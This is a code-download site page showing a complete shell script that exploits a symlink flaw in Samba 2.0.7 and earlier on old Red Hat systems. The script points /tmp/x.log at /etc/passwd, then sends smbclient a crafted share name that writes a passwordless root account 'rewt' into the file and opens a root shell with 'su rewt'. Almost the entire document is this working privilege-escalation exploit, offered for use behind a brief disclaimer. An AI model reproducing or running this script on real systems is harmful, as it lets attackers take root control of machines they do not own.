⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 samba.sh

📁 一个网络扫描程序的源代码
💻 SH
字号:
#/bin/sh## Samba <=2.0.7 xploit for RH 5.1-7.0#   by MostaraC(aka Snyggast) @2001, mail: yuggoboy@hotmail.com#	Tested on RH 7.0 with no updates#     Use it wisely and make the Net more secure# Author is not responsible for any illegal usage of this script## Knowledge is power, and power is knowledge.../by InformationHungry# He starved to death coz he dossed own ISP ;)# Latehours quick-shit for the needing ones ;)# Next release will be a lynx-sploit, possibly remote# C U @Defconecho "Samba <=2.0.7 xploit for RH 5.1-7.0"echo "  by Mostarac @2001"echoPROC=`/usr/bin/pstree |/bin/grep smbd`CONF1="/etc/samba/smb.conf"CONF2="/etc/smb.conf"CONF3="/usr/local/etc/smb.conf"echo "*** Checking for samba..."if [ ! -z "$PROC" ]; then	echo "    Samba is running. Excellent"else	echo "    Samba is NOT running. Exploiting system not possible"	echo "    Exiting script...Goodbye"	exit 0fiecho "*** Checking possible configuration files..."if [ -f "$CONF3" ]; then	CONF="$CONF3"fiif [ -f "$CONF2" ]; then        CONF="$CONF2"fiif [ -f "$CONF1" ]; then        CONF="$CONF1"fiif [ -z "$CONF" ]; then	echo "    Didnt find smb.conf. Exploiting system not possible"	echo "    Exiting script...Goodbye"	exit 0else	echo "    Config file exists at:" $CONFfiecho "*** Checking the log file for accurate defitinion..."LOG1=`/bin/grep -i "log file ="  /etc/samba/smb.conf`LOG2=`/bin/grep -i "log file=" /etc/samba/smb.conf`if [ ! -z "$LOG1" ]; then	LOG="$LOG1"fiif [ ! -z "$LOG2" ]; then	LOG="$LOG2"fiif [ ! -z "$LOG" ]; then	echo "    Logfile definition found in smb.conf"else	echo "    No logfile defitnition."	echo "    Exiting script...Goodbye"	exit 0fiecho "*** Exploiting the system..."rm -rf /tmp/x.logln -s /etc/passwd /tmp/x.logsmbclient //localhost/"`perl -e '{print "\n\nrewt::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -Necho "    Don't forget to clean /etc/passwd!"echo "    Resistance is futile, you all will be assimilated"echo "    Voila...Rootshell"su rewt

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -